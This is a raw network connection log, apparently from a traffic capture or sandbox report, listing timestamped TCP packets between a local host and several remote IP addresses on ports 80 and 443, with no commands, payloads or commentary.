Nov 22, 2024 00:11:49.473972082 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:49.474035025 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:49.474086046 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:49.474137068 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:49.479139090 CET	443	49845	162.159.61.3	192.168.2.5
Nov 22, 2024 00:11:49.479285955 CET	443	49835	162.159.61.3	192.168.2.5
Nov 22, 2024 00:11:49.479497910 CET	49845	443	192.168.2.5	162.159.61.3
Nov 22, 2024 00:11:49.479515076 CET	443	49845	162.159.61.3	192.168.2.5
Nov 22, 2024 00:11:49.479660988 CET	49835	443	192.168.2.5	162.159.61.3
Nov 22, 2024 00:11:49.479676962 CET	443	49835	162.159.61.3	192.168.2.5
Nov 22, 2024 00:11:49.479754925 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:49.479829073 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:49.479865074 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:49.479907036 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:49.480694056 CET	443	49835	162.159.61.3	192.168.2.5
Nov 22, 2024 00:11:49.480799913 CET	49835	443	192.168.2.5	162.159.61.3
Nov 22, 2024 00:11:49.480951071 CET	443	49845	162.159.61.3	192.168.2.5
Nov 22, 2024 00:11:49.481010914 CET	49845	443	192.168.2.5	162.159.61.3
Nov 22, 2024 00:11:49.481307983 CET	49835	443	192.168.2.5	162.159.61.3
Nov 22, 2024 00:11:49.481355906 CET	443	49835	162.159.61.3	192.168.2.5
Nov 22, 2024 00:11:49.481632948 CET	49845	443	192.168.2.5	162.159.61.3
Nov 22, 2024 00:11:49.481746912 CET	443	49845	162.159.61.3	192.168.2.5
Nov 22, 2024 00:11:49.481749058 CET	49835	443	192.168.2.5	162.159.61.3
Nov 22, 2024 00:11:49.481755018 CET	443	49835	162.159.61.3	192.168.2.5
Nov 22, 2024 00:11:49.481791019 CET	49845	443	192.168.2.5	162.159.61.3
Nov 22, 2024 00:11:49.485529900 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:49.485582113 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:49.485752106 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:49.485802889 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:49.491333008 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:49.491439104 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:49.491511106 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:49.523360968 CET	443	49845	162.159.61.3	192.168.2.5
Nov 22, 2024 00:11:49.535696983 CET	49845	443	192.168.2.5	162.159.61.3
Nov 22, 2024 00:11:49.535706043 CET	443	49845	162.159.61.3	192.168.2.5
Nov 22, 2024 00:11:49.535715103 CET	49835	443	192.168.2.5	162.159.61.3
Nov 22, 2024 00:11:49.569591045 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:49.569653988 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:49.569667101 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:49.569755077 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:49.571886063 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:49.571996927 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:49.572001934 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:49.572037935 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:49.576579094 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:49.576630116 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:49.576673031 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:49.576837063 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:49.580913067 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:49.580975056 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:49.581032991 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:49.581079960 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:49.581443071 CET	49845	443	192.168.2.5	162.159.61.3
Nov 22, 2024 00:11:49.585517883 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:49.585608959 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:49.585643053 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:49.585652113 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:49.589953899 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:49.590017080 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:49.590063095 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:49.590164900 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:49.592025042 CET	443	49816	142.250.181.65	192.168.2.5
Nov 22, 2024 00:11:49.594125986 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:49.594178915 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:49.594218969 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:49.594399929 CET	443	49844	172.64.41.3	192.168.2.5
Nov 22, 2024 00:11:49.594419003 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:49.594603062 CET	49844	443	192.168.2.5	172.64.41.3
Nov 22, 2024 00:11:49.594626904 CET	443	49844	172.64.41.3	192.168.2.5
Nov 22, 2024 00:11:49.595671892 CET	443	49816	142.250.181.65	192.168.2.5
Nov 22, 2024 00:11:49.595818043 CET	49816	443	192.168.2.5	142.250.181.65
Nov 22, 2024 00:11:49.595839024 CET	443	49816	142.250.181.65	192.168.2.5
Nov 22, 2024 00:11:49.598139048 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:49.598287106 CET	443	49844	172.64.41.3	192.168.2.5
Nov 22, 2024 00:11:49.598297119 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:49.598318100 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:49.598340034 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:49.598365068 CET	49844	443	192.168.2.5	172.64.41.3
Nov 22, 2024 00:11:49.600085974 CET	49844	443	192.168.2.5	172.64.41.3
Nov 22, 2024 00:11:49.600255966 CET	443	49844	172.64.41.3	192.168.2.5
Nov 22, 2024 00:11:49.600260973 CET	49844	443	192.168.2.5	172.64.41.3
Nov 22, 2024 00:11:49.602215052 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:49.602281094 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:49.602324009 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:49.602471113 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:49.606302977 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:49.606405973 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:49.606461048 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:49.607445955 CET	443	49816	142.250.181.65	192.168.2.5
Nov 22, 2024 00:11:49.607707977 CET	49816	443	192.168.2.5	142.250.181.65
Nov 22, 2024 00:11:49.607717991 CET	443	49816	142.250.181.65	192.168.2.5
Nov 22, 2024 00:11:49.610236883 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:49.610337019 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:49.610394001 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:49.614090919 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:49.614152908 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:49.614190102 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:49.614232063 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:49.616817951 CET	443	49816	142.250.181.65	192.168.2.5
Nov 22, 2024 00:11:49.616911888 CET	49816	443	192.168.2.5	142.250.181.65
Nov 22, 2024 00:11:49.616923094 CET	443	49816	142.250.181.65	192.168.2.5
Nov 22, 2024 00:11:49.617984056 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:49.618089914 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:49.618143082 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:49.619874954 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:49.619939089 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:49.619971991 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:49.620013952 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:49.621812105 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:49.621865034 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:49.621932983 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:49.622078896 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:49.623699903 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:49.623774052 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:49.623805046 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:49.623852968 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:49.625598907 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:49.625652075 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:49.625756025 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:49.625960112 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:49.627835035 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:49.627892971 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:49.627950907 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:49.629383087 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:49.629437923 CET	443	49816	142.250.181.65	192.168.2.5
Nov 22, 2024 00:11:49.629441023 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:49.629503965 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:49.629507065 CET	49816	443	192.168.2.5	142.250.181.65
Nov 22, 2024 00:11:49.629513979 CET	443	49816	142.250.181.65	192.168.2.5
Nov 22, 2024 00:11:49.629559040 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:49.631324053 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:49.631371975 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:49.631428003 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:49.631474018 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:49.633238077 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:49.633295059 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:49.633382082 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:49.633476973 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:49.635164022 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:49.635222912 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:49.635262966 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:49.635308981 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:49.637046099 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:49.637115955 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:49.637132883 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:49.637176991 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:49.639025927 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:49.639039993 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:49.639081001 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:49.639100075 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:49.640886068 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:49.640938997 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:49.640974045 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:49.641016006 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:49.642765045 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:49.642826080 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:49.642893076 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:49.642935991 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:49.642998934 CET	443	49816	142.250.181.65	192.168.2.5
Nov 22, 2024 00:11:49.643069983 CET	49816	443	192.168.2.5	142.250.181.65
Nov 22, 2024 00:11:49.643079042 CET	443	49816	142.250.181.65	192.168.2.5
Nov 22, 2024 00:11:49.644695044 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:49.644817114 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:49.644849062 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:49.644850016 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:49.645283937 CET	49844	443	192.168.2.5	172.64.41.3
Nov 22, 2024 00:11:49.645303011 CET	443	49844	172.64.41.3	192.168.2.5
Nov 22, 2024 00:11:49.646614075 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:49.646662951 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:49.646678925 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:49.646725893 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:49.648598909 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:49.648648977 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:49.648767948 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:49.648854017 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:49.650568008 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:49.650629997 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:49.650633097 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:49.650675058 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:49.652403116 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:49.652484894 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:49.652487040 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:49.652524948 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:49.654267073 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:49.654321909 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:49.654321909 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:49.654407978 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:49.656188965 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:49.656250000 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:49.656290054 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:49.656301975 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:49.657414913 CET	443	49816	142.250.181.65	192.168.2.5
Nov 22, 2024 00:11:49.657725096 CET	49816	443	192.168.2.5	142.250.181.65
Nov 22, 2024 00:11:49.657738924 CET	443	49816	142.250.181.65	192.168.2.5
Nov 22, 2024 00:11:49.658086061 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:49.658122063 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:49.658514023 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:49.660033941 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:49.660080910 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:49.660131931 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:49.660176039 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:49.687062025 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:49.687119961 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:49.696557045 CET	49844	443	192.168.2.5	172.64.41.3
Nov 22, 2024 00:11:49.710760117 CET	443	49816	142.250.181.65	192.168.2.5
Nov 22, 2024 00:11:49.710877895 CET	443	49816	142.250.181.65	192.168.2.5
Nov 22, 2024 00:11:49.710935116 CET	49816	443	192.168.2.5	142.250.181.65
Nov 22, 2024 00:11:49.710946083 CET	443	49816	142.250.181.65	192.168.2.5
Nov 22, 2024 00:11:49.711004972 CET	49816	443	192.168.2.5	142.250.181.65
Nov 22, 2024 00:11:49.719173908 CET	443	49816	142.250.181.65	192.168.2.5
Nov 22, 2024 00:11:49.731225014 CET	443	49841	18.165.220.106	192.168.2.5
Nov 22, 2024 00:11:49.731424093 CET	49841	443	192.168.2.5	18.165.220.106
Nov 22, 2024 00:11:49.731462955 CET	443	49841	18.165.220.106	192.168.2.5
Nov 22, 2024 00:11:49.732939005 CET	443	49841	18.165.220.106	192.168.2.5
Nov 22, 2024 00:11:49.733004093 CET	49841	443	192.168.2.5	18.165.220.106
Nov 22, 2024 00:11:49.733908892 CET	49841	443	192.168.2.5	18.165.220.106
Nov 22, 2024 00:11:49.734041929 CET	443	49841	18.165.220.106	192.168.2.5
Nov 22, 2024 00:11:49.771043062 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:49.771097898 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:49.771220922 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:49.771327972 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:49.771547079 CET	49816	443	192.168.2.5	142.250.181.65
Nov 22, 2024 00:11:49.771912098 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:49.771970987 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:49.772001028 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:49.772001028 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:49.773804903 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:49.773860931 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:49.773969889 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:49.774116039 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:49.775754929 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:49.775861979 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:49.775917053 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:49.777549982 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:49.777609110 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:49.777638912 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:49.777651072 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:49.779372931 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:49.779485941 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:49.779517889 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:49.779608965 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:49.781193018 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:49.781287909 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:49.781306028 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:49.781441927 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:49.782978058 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:49.783026934 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:49.783066034 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:49.783099890 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:49.783567905 CET	443	49816	142.250.181.65	192.168.2.5
Nov 22, 2024 00:11:49.784693956 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:49.784782887 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:49.784811974 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:49.784852982 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:49.786403894 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:49.786451101 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:49.786608934 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:49.786691904 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:49.787669897 CET	49841	443	192.168.2.5	18.165.220.106
Nov 22, 2024 00:11:49.787699938 CET	443	49841	18.165.220.106	192.168.2.5
Nov 22, 2024 00:11:49.788117886 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:49.788217068 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:49.788269043 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:49.789870024 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:49.789882898 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:49.789920092 CET	443	49816	142.250.181.65	192.168.2.5
Nov 22, 2024 00:11:49.789969921 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:49.790040016 CET	49816	443	192.168.2.5	142.250.181.65
Nov 22, 2024 00:11:49.790047884 CET	443	49816	142.250.181.65	192.168.2.5
Nov 22, 2024 00:11:49.791549921 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:49.791605949 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:49.791665077 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:49.791801929 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:49.793277979 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:49.793325901 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:49.793378115 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:49.793420076 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:49.794997931 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:49.795057058 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:49.795099020 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:49.795345068 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:49.796749115 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:49.796804905 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:49.796892881 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:49.797066927 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:49.798276901 CET	443	49816	142.250.181.65	192.168.2.5
Nov 22, 2024 00:11:49.798413038 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:49.798435926 CET	49816	443	192.168.2.5	142.250.181.65
Nov 22, 2024 00:11:49.798444986 CET	443	49816	142.250.181.65	192.168.2.5
Nov 22, 2024 00:11:49.798461914 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:49.798508883 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:49.798547983 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:49.800162077 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:49.800209045 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:49.800259113 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:49.800304890 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:49.801841021 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:49.801898956 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:49.801938057 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:49.802052021 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:49.803591967 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:49.803718090 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:49.803749084 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:49.803759098 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:49.805294991 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:49.805366993 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:49.805408001 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:49.805449963 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:49.806576967 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:49.806632996 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:49.806670904 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:49.806821108 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:49.807650089 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:49.807704926 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:49.807765007 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:49.807816029 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:49.808821917 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:49.808878899 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:49.808921099 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:49.808969975 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:49.810003996 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:49.810050011 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:49.810128927 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:49.810174942 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:49.811181068 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:49.811270952 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:49.811288118 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:49.811345100 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:49.811693907 CET	443	49816	142.250.181.65	192.168.2.5
Nov 22, 2024 00:11:49.811856031 CET	49816	443	192.168.2.5	142.250.181.65
Nov 22, 2024 00:11:49.811865091 CET	443	49816	142.250.181.65	192.168.2.5
Nov 22, 2024 00:11:49.812360048 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:49.812416077 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:49.812551022 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:49.812597990 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:49.813517094 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:49.813569069 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:49.813637972 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:49.813688040 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:49.814718008 CET	80	49788	185.215.113.206	192.168.2.5
